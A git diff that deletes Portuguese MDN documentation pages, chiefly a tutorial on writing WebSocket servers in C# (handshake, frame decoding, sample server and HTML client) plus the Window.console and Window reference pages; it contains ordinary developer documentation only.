-
AcceptTcpClient()
-
Espera por uma ligação TCP, aceita-a e devolve-a como um objeto TcpClient.
-
- -

Exemplo

- -

Aqui tem uma implementação básica do servidor:

- -
​using System.Net.Sockets;
-using System.Net;
-using System;
-
-class Server {
-    public static void Main() {
-        TcpListener server = new TcpListener(IPAddress.Parse("127.0.0.1"), 80);
-
-        server.Start();
-        Console.WriteLine("O servidor começou com endreço 127.0.0.1:80.{0}Esperando por uma conexão...", Environment.NewLine);
-
-        TcpClient client = server.AcceptTcpClient();
-
-        Console.WriteLine("Um cliente está conectado.");
-    }
-}
-
- -

TcpClient

- -

Métodos

- -
-
GetStream()
-
Obtém o stream que é o canal de comunicação. Ambos os lados do canal têm capacidade de leitura e escrita.
-
- -

Propriedades

- -
-
int Available
-
Esta propriedade indica quantos bytes de dados foram enviados. O valor é zero até que a propriedade NetworkStream.DataAvailable seja true.
-
- -

NetworkStream

- -

Métodos

- -
-
Write(Byte[] buffer, int offset, int size)
-
Escreve bytes vindos do buffer. offset e size determinam o comprimento da mensagem.
-
Read(Byte[] buffer, int offset, int size)
-
Lê bytes do buffer. offset e size determinam o comprimento da mensagem.
-
- -

Exemplo

- -

Vamos continuar o nosso exemplo:

- -
TcpClient client = server.AcceptTcpClient();
-
-Console.WriteLine("Um cliente está conectado.");
-
-NetworkStream stream = client.GetStream();
-
-// entrar num ciclo infinito para poder processar qualquer mudança no stream
-while (true) {
-    while (!stream.DataAvailable);
-
-    Byte[] bytes = new Byte[client.Available];
-
-    stream.Read(bytes, 0, bytes.Length);
-}
- -

Handshaking (aperto de mão)

- -

Quando um cliente se liga a um servidor, envia um pedido GET para atualizar a ligação do protocolo HTTP a uma ligação WebSocket. Isto é conhecido como aperto de mão.

- -

Este código de amostra pode detetar um GET do cliente. Note que isto irá bloquear até que os primeiros 3 bytes de uma mensagem estejam disponíveis. Deverão ser investigadas soluções alternativas para ambientes de produção.

- -
using System.Text;
-using System.Text.RegularExpressions;
-
-while(client.Available < 3)
-{
-   // esperar para que hajam bytes suficientes disponiveis
-}
-
-Byte[] bytes = new Byte[client.Available];
-
-stream.Read(bytes, 0, bytes.Length);
-
-//traduzir bytes do pedido para uma string
-String data = Encoding.UTF8.GetString(bytes);
-
-if (Regex.IsMatch(data, "^GET")) {
-
-} else {
-
-}
- -

A resposta é fácil de construir, mas pode ser um pouco difícil de compreender. A explicação completa do aperto de mão do servidor pode ser encontrada em RFC 6455, secção 4.2.2. Para os nossos propósitos, vamos apenas construir uma resposta simples.

- -

Deve:

- -
    -
  1. Obter o valor do cabeçalho de pedido da Sec-WebSocket-Key sem qualquer espaço em branco
  2. -
  3. Combine esse valor com "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" (um GUID especificado pela RFC 6455)
  4. -
  5. Calcule o código SHA-1 e Base64 do mesmo
  6. -
  7. Devolve-o como o valor do cabeçalho de resposta Sec-WebSocket-Accept numa resposta HTTP.
  8. -
- -

-if (new System.Text.RegularExpressions.Regex("^GET").IsMatch(data))
-{
-    const string eol = "\r\n"; // HTTP/1.1 define a sequencia "CR LF" como o marcador de fim de linha
-
-    Byte[] response = Encoding.UTF8.GetBytes("HTTP/1.1 101 Switching Protocols" + eol
-        + "Connection: Upgrade" + eol
-        + "Upgrade: websocket" + eol
-        + "Sec-WebSocket-Accept: " + Convert.ToBase64String(
-            System.Security.Cryptography.SHA1.Create().ComputeHash(
-                Encoding.UTF8.GetBytes(
-                    new System.Text.RegularExpressions.Regex("Sec-WebSocket-Key: (.*)").Match(data).Groups[1].Value.Trim() + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"
-                )
-            )
-        ) + eol
-        + eol);
-
-    stream.Write(response, 0, response.Length);
-}
-
- -

Descodificar mensagens

- -

Após um aperto de mão bem-sucedido, o cliente pode enviar mensagens para o servidor, mas agora estas estão codificadas.

- -

Se enviarmos "MDN", recebemos estes bytes:

- - - - - - - - - - - - - - - -
129131618435611216109
- -

Vejamos o que significam estes bytes.

- -

O primeiro byte, que tem actualmente um valor de 129, é um bitfield que se decompõe da seguinte forma:

- - - - - - - - - - - - - - - - - - - - -
FIN (Bit 0)RSV1 (Bit 1)RSV2 (Bit 2)RSV3 (Bit 3)Opcode (Bit 4:7)
10000x1=0001
- -
    -
  • FIN bit: Este bit indica se a mensagem completa foi enviada pelo cliente. As mensagens podem ser enviadas em frames, mas por agora vamos manter as coisas simples.
  • -
  • RSV1, RSV2, RSV3: Estes bits devem ser 0, a menos que seja negociada uma extensão que lhes forneça um valor não nulo.
  • -
  • Opcode: Estes bits descrevem o tipo de mensagem recebida. O código Opcode 0x1 significa que se trata de uma mensagem de texto (ver lista completa de Opcodes).
  • -
- -

O segundo byte, que tem atualmente um valor de 131, é outro campo de bits que se decompõe assim:

- - - - - - - - - - - - - - -
MASK (Bit 0)Comprimento do conteúdo da mensagem (Bit 1:7)
10x83=0000011
- -
    -
  • MASK bit: Define se os "dados de payload" são mascarados.  Se definida como 1, uma chave de máscara está presente em Masking-Key, e é utilizada para desmascarar os "dados de payload". Todas as mensagens do cliente para o servidor têm este bit definido.
  • -
  • Comprimento do payload: Se este valor estiver entre 0 e 125, então é o comprimento da mensagem. Se for 126, os 2 bytes seguintes (inteiro de 16 bits sem assinatura) são o comprimento. Se for 127, os 8 bytes seguintes (inteiro de 64 bits sem assinatura) são o comprimento.
  • -
- -
-

Porque o primeiro bit é sempre 1 para mensagens cliente-servidor, pode subtrair 128 deste byte para se livrar do bit MASK.

-
- -

Note que o bit MASK está definido na nossa mensagem. Isto significa que os quatro bytes seguintes (61, 84, 35, e 6) são os bytes de máscara utilizados para descodificar a mensagem. Estes bytes mudam com cada mensagem.

- -

Os restantes bytes são a payload da mensagem codificada.

- -

Algoritmo para descodificar

- -

Di = Ei XOR M(i mod 4)

- -

onde D é a série de bytes da mensagem descodificados, E é a série de bytes da mensagem codificados, M é a série de bytes da chave, e i é o índice do byte da mensagem a ser descodificado.

- -

Exemplo em C#:

- -
Byte[] decoded = new Byte[3];
-Byte[] encoded = new Byte[3] {112, 16, 109};
-Byte[] mask = new Byte[4] {61, 84, 35, 6};
-
-for (int i = 0; i < encoded.Length; i++) {
-    decoded[i] = (Byte)(encoded[i] ^ mask[i % 4]);
-}
- -

Exemplo completo

- -

Aqui tem o código, que foi explorado, na sua totalidade; isto inclui o código do cliente e do servidor.

- -

wsserver.cs

- -
//
-// csc wsserver.cs
-// wsserver.exe
-
-using System;
-using System.Net;
-using System.Net.Sockets;
-using System.Text;
-using System.Text.RegularExpressions;
-
-class Server {
-    public static void Main() {
-        string ip = "127.0.0.1";
-        int port = 80;
-        var server = new TcpListener(IPAddress.Parse(ip), port);
-
-        server.Start();
-        Console.WriteLine("Server has started on {0}:{1}, Waiting for a connection...", ip, port);
-
-        TcpClient client = server.AcceptTcpClient();
-        Console.WriteLine("A client connected.");
-
-        NetworkStream stream = client.GetStream();
-
-        // enter to an infinite cycle to be able to handle every change in stream
-        while (true) {
-            while (!stream.DataAvailable);
-            while (client.Available < 3); // match against "get"
-
-            byte[] bytes = new byte[client.Available];
-            stream.Read(bytes, 0, client.Available);
-            string s = Encoding.UTF8.GetString(bytes);
-
-            if (Regex.IsMatch(s, "^GET", RegexOptions.IgnoreCase)) {
-                Console.WriteLine("=====Handshaking from client=====\n{0}", s);
-
-                // 1. Obtain the value of the "Sec-WebSocket-Key" request header without any leading or trailing whitespace
-                // 2. Concatenate it with "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" (a special GUID specified by RFC 6455)
-                // 3. Compute SHA-1 and Base64 hash of the new value
-                // 4. Write the hash back as the value of "Sec-WebSocket-Accept" response header in an HTTP response
-                string swk = Regex.Match(s, "Sec-WebSocket-Key: (.*)").Groups[1].Value.Trim();
-                string swka = swk + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
-                byte[] swkaSha1 = System.Security.Cryptography.SHA1.Create().ComputeHash(Encoding.UTF8.GetBytes(swka));
-                string swkaSha1Base64 = Convert.ToBase64String(swkaSha1);
-
-                // HTTP/1.1 defines the sequence CR LF as the end-of-line marker
-                byte[] response = Encoding.UTF8.GetBytes(
-                    "HTTP/1.1 101 Switching Protocols\r\n" +
-                    "Connection: Upgrade\r\n" +
-                    "Upgrade: websocket\r\n" +
-                    "Sec-WebSocket-Accept: " + swkaSha1Base64 + "\r\n\r\n");
-
-                stream.Write(response, 0, response.Length);
-            } else {
-                bool fin = (bytes[0] & 0b10000000) != 0,
-                    mask = (bytes[1] & 0b10000000) != 0; // must be true, "All messages from the client to the server have this bit set"
-
-                int opcode = bytes[0] & 0b00001111, // expecting 1 - text message
-                    msglen = bytes[1] - 128, // & 0111 1111
-                    offset = 2;
-
-                if (msglen == 126) {
-                    // was ToUInt16(bytes, offset) but the result is incorrect
-                    msglen = BitConverter.ToUInt16(new byte[] { bytes[3], bytes[2] }, 0);
-                    offset = 4;
-                } else if (msglen == 127) {
-                    Console.WriteLine("TODO: msglen == 127, needs qword to store msglen");
-                    // i don't really know the byte order, please edit this
-                    // msglen = BitConverter.ToUInt64(new byte[] { bytes[5], bytes[4], bytes[3], bytes[2], bytes[9], bytes[8], bytes[7], bytes[6] }, 0);
-                    // offset = 10;
-                }
-
-                if (msglen == 0)
-                    Console.WriteLine("msglen == 0");
-                else if (mask) {
-                    byte[] decoded = new byte[msglen];
-                    byte[] masks = new byte[4] { bytes[offset], bytes[offset + 1], bytes[offset + 2], bytes[offset + 3] };
-                    offset += 4;
-
-                    for (int i = 0; i < msglen; ++i)
-                        decoded[i] = (byte)(bytes[offset + i] ^ masks[i % 4]);
-
-                    string text = Encoding.UTF8.GetString(decoded);
-                    Console.WriteLine("{0}", text);
-                } else
-                    Console.WriteLine("mask bit not set");
-
-                Console.WriteLine();
-            }
-        }
-    }
-}
- -

client.html

- -
<!doctype html>
-<style>
-    textarea { vertical-align: bottom; }
-    #output { overflow: auto; }
-    #output > p { overflow-wrap: break-word; }
-    #output span { color: blue; }
-    #output span.error { color: red; }
-</style>
-<h2>WebSocket Test</h2>
-<textarea cols=60 rows=6></textarea>
-<button>send</button>
-<div id=output></div>
-<script>
-    // http://www.websocket.org/echo.html
-
-    var button = document.querySelector("button"),
-        output = document.querySelector("#output"),
-        textarea = document.querySelector("textarea"),
-        // wsUri = "ws://echo.websocket.org/",
-        wsUri = "ws://127.0.0.1/",
-        websocket = new WebSocket(wsUri);
-
-    button.addEventListener("click", onClickButton);
-
-    websocket.onopen = function (e) {
-        writeToScreen("CONNECTED");
-        doSend("WebSocket rocks");
-    };
-
-    websocket.onclose = function (e) {
-        writeToScreen("DISCONNECTED");
-    };
-
-    websocket.onmessage = function (e) {
-        writeToScreen("<span>RESPONSE: " + e.data + "</span>");
-    };
-
-    websocket.onerror = function (e) {
-        writeToScreen("<span class=error>ERROR:</span> " + e.data);
-    };
-
-    function doSend(message) {
-        writeToScreen("SENT: " + message);
-        websocket.send(message);
-    }
-
-    function writeToScreen(message) {
-        output.insertAdjacentHTML("afterbegin", "<p>" + message + "</p>");
-    }
-
-    function onClickButton() {
-        var text = textarea.value;
-
-        text && doSend(text);
-        textarea.value = "";
-        textarea.focus();
-    }
-</script>
- -

Ver também

- - - -
 
diff --git a/files/pt-pt/web/api/websockets_api/writing_websocket_servers/index.html b/files/pt-pt/web/api/websockets_api/writing_websocket_servers/index.html deleted file mode 100644 index 173a3066fe..0000000000 --- a/files/pt-pt/web/api/websockets_api/writing_websocket_servers/index.html +++ /dev/null @@ -1,258 +0,0 @@ ---- -title: Escrever servidores de WebSocket -slug: Web/API/WebSockets_API/Writing_WebSocket_servers -tags: - - Guía - - HTML5 - - Tutorial - - WebSocket - - WebSocket API - - WebSockets -translation_of: Web/API/WebSockets_API/Writing_WebSocket_servers -original_slug: Web/API/WebSockets_API/Escrever_servidores_de_WebSocket ---- -
{{APIRef("Websockets API")}}
- -

Um servidor WebSocket não é nada mais que uma aplicação que escuta qualquer porta de um servidor TCP que possui um protocolo específico. A tarefa de criar um servidor personalizado é uma tarefa complexa para a maioria; no entanto, é simples implementar um servidor simples de WebSocket numa plataforma á sua escolha.

- -

Um servidor WebSocket pode ser escrito em qualquer linguagem de servidor que suporte Berkeley sockets, como C(++), Python, PHP, ou server-side JavaScript. Este tutorial não se foca em nenhuma linguagem em específico, mas serve como guia para facilitar o desenvolver do seu próprio server.

- -

A WebSocket server can be written in any server-side programming language that is capable of Berkeley sockets, such as C(++), Python, PHP, or server-side JavaScript. This is not a tutorial in any specific language, but serves as a guide to facilitate writing your own server.

- -

This article assumes you're already familiar with how {{Glossary("HTTP")}} works, and that you have a moderate level of programming experience. Depending on language support, knowledge of TCP sockets may be required. The scope of this guide is to present the minimum knowledge you need to write a WebSocket server.

- -
-

Note: Read the latest official WebSockets specification, RFC 6455. Sections 1 and 4-7 are especially interesting to server implementors. Section 10 discusses security and you should definitely peruse it before exposing your server.

-
- -

A WebSocket server is explained on a very low level here. WebSocket servers are often separate and specialized servers (for load-balancing or other practical reasons), so you will often use a reverse proxy (such as a regular HTTP server) to detect WebSocket handshakes, pre-process them, and send those clients to a real WebSocket server. This means that you don't have to bloat your server code with cookie and authentication handlers (for example).

- -

The WebSocket handshake

- -

First, the server must listen for incoming socket connections using a standard TCP socket. Depending on your platform, this may be handled for you automatically. For example, let's assume that your server is listening on example.com, port 8000, and your socket server responds to {{HTTPMethod("GET")}} requests at example.com/chat.

- -
-

Warning: The server may listen on any port it chooses, but if it chooses any port other than 80 or 443, it may have problems with firewalls and/or proxies. Browsers generally require a secure connection for WebSockets, although they may offer an exception for local devices.

-
- -

The handshake is the "Web" in WebSockets. It's the bridge from HTTP to WebSockets. In the handshake, details of the connection are negotiated, and either party can back out before completion if the terms are unfavorable. The server must be careful to understand everything the client asks for, otherwise security issues can occur.

- -
-

Tip: The request-uri (/chat here) has no defined meaning in the spec. So, many people  use it to let one server handle multiple WebSocket applications. For example, example.com/chat could invoke a multiuser chat app, while /game on the same server might invoke a multiplayer game.

-
- -

Client handshake request

- -

Even though you're building a server, a client still has to start the WebSocket handshake process by contacting the server and requesting a WebSocket connection. So, you must know how to interpret the client's request. The client will send a pretty standard HTTP request with headers that looks like this (the HTTP version must be 1.1 or greater, and the method must be GET):

- -
GET /chat HTTP/1.1
-Host: example.com:8000
-Upgrade: websocket
-Connection: Upgrade
-Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
-Sec-WebSocket-Version: 13
-
-
- -

The client can solicit extensions and/or subprotocols here; see Miscellaneous for details. Also, common headers like {{HTTPHeader("User-Agent")}}, {{HTTPHeader("Referer")}}, {{HTTPHeader("Cookie")}}, or authentication headers might be there as well. Do whatever you want with those; they don't directly pertain to the WebSocket. It's also safe to ignore them. In many common setups, a reverse proxy has already dealt with them.

- -
-

Tip: All browsers send an Origin header. You can use this header for security (checking for same origin, automatically allowing or denying, etc.) and send a 403 Forbidden if you don't like what you see. However, be warned that non-browser agents can send a faked Origin. Most applications reject requests without this header.

-
- -

If any header is not understood or has an incorrect value, the server should send a {{HTTPStatus("400")}} ("Bad Request")} response and immediately close the socket. As usual, it may also give the reason why the handshake failed in the HTTP response body, but the message may never be displayed (browsers do not display it). If the server doesn't understand that version of WebSockets, it should send a {{HTTPHeader("Sec-WebSocket-Version")}} header back that contains the version(s) it does understand.  In the example above, it indicates version 13 of the WebSocket protocol.

- -

The most interesting header here is {{HTTPHeader("Sec-WebSocket-Key")}}. Let's look at that next.

- -
-

Note: Regular HTTP status codes can be used only before the handshake. After the handshake succeeds, you have to use a different set of codes (defined in section 7.4 of the spec).

-
- -

Server handshake response

- -

When the server receives the handshake request, it should send back a special response that indicates that the protocol will be changing from HTTP to WebSocket. That header looks something like the following (remember each header line ends with \r\n and put an extra \r\n after the last one to indicate the end of the header):

- -
HTTP/1.1 101 Switching Protocols
-Upgrade: websocket
-Connection: Upgrade
-Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
-
-
- -

Additionally, the server can decide on extension/subprotocol requests here; see Miscellaneous for details. The Sec-WebSocket-Accept header is important in that the server must derive it from the {{HTTPHeader("Sec-WebSocket-Key")}} that the client sent to it. To get it, concatenate the client's Sec-WebSocket-Key and the string "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" together (it's a "magic string"), take the SHA-1 hash of the result, and return the base64 encoding of that hash.

- -
-

Note: This seemingly overcomplicated process exists so that it's obvious to the client whether the server supports WebSockets. This is important because security issues might arise if the server accepts a WebSockets connection but interprets the data as a HTTP request.

-
- -

So if the Key was "dGhlIHNhbXBsZSBub25jZQ==", the Sec-WebSocket-Accept header's value is "s3pPLMBiTxaQ9kYGzzhZRbK+xOo=". Once the server sends these headers, the handshake is complete and you can start swapping data!

- -
-

Note: The server can send other headers like {{HTTPHeader("Set-Cookie")}}, or ask for authentication or redirects via other status codes, before sending the reply handshake.

-
- -

Keeping track of clients

- -

This doesn't directly relate to the WebSocket protocol, but it's worth mentioning here: your server must keep track of clients' sockets so you don't keep handshaking again with clients who have already completed the handshake. The same client IP address can try to connect multiple times. However, the server can deny them if they attempt too many connections in order to save itself from Denial-of-Service attacks.

- -

For example, you might keep a table of usernames or ID numbers along with the corresponding {{domxref("WebSocket")}} and other data that you need to associate with that connection.

- -

Exchanging data frames

- -

Either the client or the server can choose to send a message at any time — that's the magic of WebSockets. However, extracting information from these so-called "frames" of data is a not-so-magical experience. Although all frames follow the same specific format, data going from the client to the server is masked using XOR encryption (with a 32-bit key). Section 5 of the specification describes this in detail.

- -

Format

- -

Each data frame (from the client to the server or vice-versa) follows this same format:

- -
Frame format:
-​​
-      0                   1                   2                   3
-      0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
-     +-+-+-+-+-------+-+-------------+-------------------------------+
-     |F|R|R|R| opcode|M| Payload len |    Extended payload length    |
-     |I|S|S|S|  (4)  |A|     (7)     |             (16/64)           |
-     |N|V|V|V|       |S|             |   (if payload len==126/127)   |
-     | |1|2|3|       |K|             |                               |
-     +-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +
-     |     Extended payload length continued, if payload len == 127  |
-     + - - - - - - - - - - - - - - - +-------------------------------+
-     |                               |Masking-key, if MASK set to 1  |
-     +-------------------------------+-------------------------------+
-     | Masking-key (continued)       |          Payload Data         |
-     +-------------------------------- - - - - - - - - - - - - - - - +
-     :                     Payload Data continued ...                :
-     + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
-     |                     Payload Data continued ...                |
-     +---------------------------------------------------------------+
- -

The MASK bit tells whether the message is encoded. Messages from the client must be masked, so your server must expect this to be 1. (In fact, section 5.1 of the spec says that your server must disconnect from a client if that client sends an unmasked message.) When sending a frame back to the client, do not mask it and do not set the mask bit. We'll explain masking later. Note: You must mask messages even when using a secure socket. RSV1-3 can be ignored, they are for extensions.

- -

The opcode field defines how to interpret the payload data: 0x0 for continuation, 0x1 for text (which is always encoded in UTF-8), 0x2 for binary, and other so-called "control codes" that will be discussed later. In this version of WebSockets, 0x3 to 0x7 and 0xB to 0xF have no meaning.

- -

The FIN bit tells whether this is the last message in a series. If it's 0, then the server keeps listening for more parts of the message; otherwise, the server should consider the message delivered. More on this later.

- -

Decoding Payload Length

- -

To read the payload data, you must know when to stop reading. That's why the payload length is important to know. Unfortunately, this is somewhat complicated. To read it, follow these steps:

- -
    -
  1. Read bits 9-15 (inclusive) and interpret that as an unsigned integer. If it's 125 or less, then that's the length; you're done. If it's 126, go to step 2. If it's 127, go to step 3.
  2. -
  3. Read the next 16 bits and interpret those as an unsigned integer. You're done.
  4. -
  5. Read the next 64 bits and interpret those as an unsigned integer. (The most significant bit must be 0.) You're done.
  6. -
- -

Reading and Unmasking the Data

- -

If the MASK bit was set (and it should be, for client-to-server messages), read the next 4 octets (32 bits); this is the masking key. Once the payload length and masking key is decoded, you can read that number of bytes from the socket. Let's call the data ENCODED, and the key MASK. To get DECODED, loop through the octets (bytes a.k.a. characters for text data) of ENCODED and XOR the octet with the (i modulo 4)th octet of MASK. In pseudo-code (that happens to be valid JavaScript):

- -
var DECODED = "";
-for (var i = 0; i < ENCODED.length; i++) {
-    DECODED[i] = ENCODED[i] ^ MASK[i % 4];
-}
- -

Now you can figure out what DECODED means depending on your application.

- -

Message Fragmentation

- -

The FIN and opcode fields work together to send a message split up into separate frames.  This is called message fragmentation. Fragmentation is only available on opcodes 0x0 to 0x2.

- -

Recall that the opcode tells what a frame is meant to do. If it's 0x1, the payload is text. If it's 0x2, the payload is binary data. However, if it's 0x0, the frame is a continuation frame; this means the server should concatenate the frame's payload to the last frame it received from that client. Here is a rough sketch, in which a server reacts to a client sending text messages. The first message is sent in a single frame, while the second message is sent across three frames. FIN and opcode details are shown only for the client:

- -
Client: FIN=1, opcode=0x1, msg="hello"
-Server: (process complete message immediately) Hi.
-Client: FIN=0, opcode=0x1, msg="and a"
-Server: (listening, new message containing text started)
-Client: FIN=0, opcode=0x0, msg="happy new"
-Server: (listening, payload concatenated to previous message)
-Client: FIN=1, opcode=0x0, msg="year!"
-Server: (process complete message) Happy new year to you too!
- -

Notice the first frame contains an entire message (has FIN=1 and opcode!=0x0), so the server can process or respond as it sees fit. The second frame sent by the client has a text payload (opcode=0x1), but the entire message has not arrived yet (FIN=0). All remaining parts of that message are sent with continuation frames (opcode=0x0), and the final frame of the message is marked by FIN=1. Section 5.4 of the spec describes message fragmentation.

- -

Pings and Pongs: The Heartbeat of WebSockets

- -

At any point after the handshake, either the client or the server can choose to send a ping to the other party. When the ping is received, the recipient must send back a pong as soon as possible. You can use this to make sure that the client is still connected, for example.

- -

A ping or pong is just a regular frame, but it's a control frame. Pings have an opcode of 0x9, and pongs have an opcode of 0xA. When you get a ping, send back a pong with the exact same Payload Data as the ping (for pings and pongs, the max payload length is 125). You might also get a pong without ever sending a ping; ignore this if it happens.

- -
-

If you have gotten more than one ping before you get the chance to send a pong, you only send one pong.

-
- -

Closing the connection

- -

To close a connection either the client or server can send a control frame with data containing a specified control sequence to begin the closing handshake (detailed in Section 5.5.1). Upon receiving such a frame, the other peer sends a Close frame in response. The first peer then closes the connection. Any further data received after closing of connection is then discarded. 

- -

Miscellaneous

- -
-

WebSocket codes, extensions, subprotocols, etc. are registered at the IANA WebSocket Protocol Registry.

-
- -

WebSocket extensions and subprotocols are negotiated via headers during the handshake. Sometimes extensions and subprotocols very similar, but there is a clear distinction. Extensions control the WebSocket frame and modify the payload, while subprotocols structure the WebSocket payload and never modify anything. Extensions are optional and generalized (like compression); subprotocols are mandatory and localized (like ones for chat and for MMORPG games).

- -

Extensions

- -
-

This section needs expansion. Please edit if you are equipped to do so.

-
- -

Think of an extension as compressing a file before e-mailing it to someone. Whatever you do, you're sending the same data in different forms. The recipient will eventually be able to get the same data as your local copy, but it is sent differently. That's what an extension does. WebSockets defines a protocol and a simple way to send data, but an extension such as compression could allow sending the same data but in a shorter format.

- -
-

Extensions are explained in sections 5.8, 9, 11.3.2, and 11.4 of the spec.

-
- -

TODO

- -

Subprotocols

- -

Think of a subprotocol as a custom XML schema or doctype declaration. You're still using XML and its syntax, but you're additionally restricted by a structure you agreed on. WebSocket subprotocols are just like that. They do not introduce anything fancy, they just establish structure. Like a doctype or schema, both parties must agree on the subprotocol; unlike a doctype or schema, the subprotocol is implemented on the server and cannot be externally refered to by the client.

- -
-

Subprotocols are explained in sections 1.9, 4.2, 11.3.4, and 11.5 of the spec.

-
- -

A client has to ask for a specific subprotocol. To do so, it will send something like this as part of the original handshake:

- -
GET /chat HTTP/1.1
-...
-Sec-WebSocket-Protocol: soap, wamp
-
-
- -

or, equivalently:

- -
...
-Sec-WebSocket-Protocol: soap
-Sec-WebSocket-Protocol: wamp
-
-
- -

Now the server must pick one of the protocols that the client suggested and it supports. If there is more than one, send the first one the client sent. Imagine our server can use both soap and wamp. Then, in the response handshake, it sends:

- -
Sec-WebSocket-Protocol: soap
-
-
- -
-

The server can't send more than one Sec-Websocket-Protocol header.
- If the server doesn't want to use any subprotocol, it shouldn't send any Sec-WebSocket-Protocol header. Sending a blank header is incorrect. The client may close the connection if it doesn't get the subprotocol it wants.

-
- -

If you want your server to obey certain subprotocols, then naturally you'll need extra code on the server. Let's imagine we're using a subprotocol json. In this subprotocol, all data is passed as JSON. If the client solicits this protocol and the server wants to use it, the server needs to have a JSON parser. Practically speaking, this will be part of a library, but the server needs to pass the data around.

- -
-

Tip: To avoid name conflict, it's recommended to make your subprotocol name part of a domain string. If you are building a custom chat app that uses a proprietary format exclusive to Example Inc., then you might use this: Sec-WebSocket-Protocol: chat.example.com. Note that this isn't required, it's just an optional convention, and you can use any string you wish.

-
- - - - diff --git a/files/pt-pt/web/api/window/console/index.html b/files/pt-pt/web/api/window/console/index.html deleted file mode 100644 index 80abc2170c..0000000000 --- a/files/pt-pt/web/api/window/console/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Window.console -slug: Web/API/Window/console -tags: - - API - - Consola - - Referencia - - Só-de-leitura - - Window - - console -translation_of: Web/API/Window/console ---- -

{{ APIRef }}

- -

A propriedade só-de-leitura Window.console devolve uma referência para o objeto {{domxref("Console")}}, que fornece métodos para registar informação na console do navegador. Estes métodos são destinados apenas para fins de depuração e não deverão ser invocados para apresentar informação aos utilizadores finais.

- -

Sintaxe

- -
var consoleObj = window.console;
-
- -

Exemplos

- -

Registar para console

- -

The first example logs text to the console.

- -
console.log("An error occurred while loading the content");
-
- -

The next example logs an object to the console, with the object's fields expandable using disclosure widgets:

- -
console.dir(someObject);
- -

See {{SectionOnPage("/en-US/docs/Web/API/Console", "Usage")}} for more thorough examples.

- -

Especificações

- - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('Console API')}}{{Spec2('Console API')}}Initial definition.
- -
-

Currently there are many implementation differences among browsers, but work is being done to bring them together and make them more consistent with one another.

-
diff --git a/files/pt-pt/web/api/window/index.html b/files/pt-pt/web/api/window/index.html deleted file mode 100644 index 29deceb028..0000000000 --- a/files/pt-pt/web/api/window/index.html +++ /dev/null @@ -1,479 +0,0 @@ ---- -title: Window -slug: Web/API/Window -tags: - - API - - DOM - - Interface - - JavaScript - - NeedsTranslation - - Reference - - TopicStub - - Window -translation_of: Web/API/Window ---- -

{{APIRef}}

- -

O objeto window representa uma janela contendo um documento DOM; a propriedade document aponta para o documento DOM carregado nessa janela. Uma janela para um determinado documento pode ser obtida utilizando a propriedade {{Domxref("document.defaultView")}}.

- -

This section provides a brief reference for all of the methods, properties, and events available through the DOM window object. The window object implements the Window interface, which in turn inherits from the AbstractView interface. Some additional global functions, namespaces, objects, interfaces, and constructors, not typically associated with the window, but available on it, are listed in the JavaScript Reference and DOM Reference.

- -

In a tabbed browser, such as Firefox, each tab contains its own window object (and if you're writing an extension, the browser window itself is a separate window too - see Working with windows in chrome code for more information). That is, the window object is not shared between tabs in the same window. Some methods, namely {{Domxref("window.resizeTo")}} and {{Domxref("window.resizeBy")}} apply to the whole window and not to the specific tab the window object belongs to. Generally, anything that can't reasonably pertain to a tab pertains to the window instead.

- -

{{InheritanceDiagram}}

- -

Propriedades

- -

This interface inherits properties from the {{domxref("EventTarget")}} interface and implements properties from the {{domxref("WindowOrWorkerGlobalScope")}} and {{domxref("WindowEventHandlers")}} mixins.

- -

Note that properties which are objects (e.g.,. for overriding the prototype of built-in elements) are listed in a separate section below.

- -
-
{{domxref("Window.closed")}} {{Non-standard_inline}}{{readOnlyInline}}
-
This property indicates whether the current window is closed or not.
-
{{domxref("Window.console")}} {{ReadOnlyInline}}
-
Returns a reference to the console object which provides access to the browser's debugging console.
-
{{domxref("Window.content")}} and Window._content {{Non-standard_inline}} {{obsolete_inline}}{{ReadOnlyInline}}
-
Returns a reference to the content element in the current window. Since Firefox 57 (initially Nightly-only), both versions are only available from chrome (privileged) code, and not available to the web anymore.
-
{{domxref("Window.controllers")}}{{non-standard_inline}}{{ReadOnlyInline}}
-
Returns the XUL controller objects for the current chrome window.
-
{{domxref("Window.crypto")}} {{readOnlyInline}}
-
Returns the browser crypto object.
-
{{domxref("Window.defaultStatus")}} {{Obsolete_inline("gecko23")}}
-
Gets/sets the status bar text for the given window.
-
{{domxref("Window.devicePixelRatio")}} {{non-standard_inline}}{{ReadOnlyInline}}
-
Returns the ratio between physical pixels and device independent pixels in the current display.
-
{{domxref("Window.dialogArguments")}} {{ReadOnlyInline}}
-
Gets the arguments passed to the window (if it's a dialog box) at the time {{domxref("window.showModalDialog()")}} was called. This is an {{Interface("nsIArray")}}.
-
{{domxref("Window.directories")}} {{obsolete_inline}}
-
Synonym of {{domxref("window.personalbar")}}
-
{{domxref("Window.document")}} {{ReadOnlyInline}}
-
Returns a reference to the document that the window contains.
-
{{domxref("Window.frameElement")}} {{readOnlyInline}}
-
Returns the element in which the window is embedded, or null if the window is not embedded.
-
{{domxref("Window.frames")}} {{readOnlyInline}}
-
Returns an array of the subframes in the current window.
-
{{domxref("Window.fullScreen")}} {{gecko_minversion_inline("1.9")}}
-
This property indicates whether the window is displayed in full screen or not.
-
{{domxref("Window.globalStorage")}} {{gecko_minversion_inline("1.8.1")}} {{Non-standard_inline}} {{Obsolete_inline("gecko13")}}
-
Unsupported since Gecko 13 (Firefox 13). Use {{domxref("Window.localStorage")}} instead.
- Was: Multiple storage objects that are used for storing data across multiple pages.
-
{{domxref("Window.history")}} {{ReadOnlyInline}}
-
Returns a reference to the history object.
-
{{domxref("Window.innerHeight")}} {{readOnlyInline}}
-
Gets the height of the content area of the browser window including, if rendered, the horizontal scrollbar.
-
{{domxref("Window.innerWidth")}} {{readOnlyInline}}
-
Gets the width of the content area of the browser window including, if rendered, the vertical scrollbar.
-
{{domxref("Window.isSecureContext")}} {{readOnlyInline}}
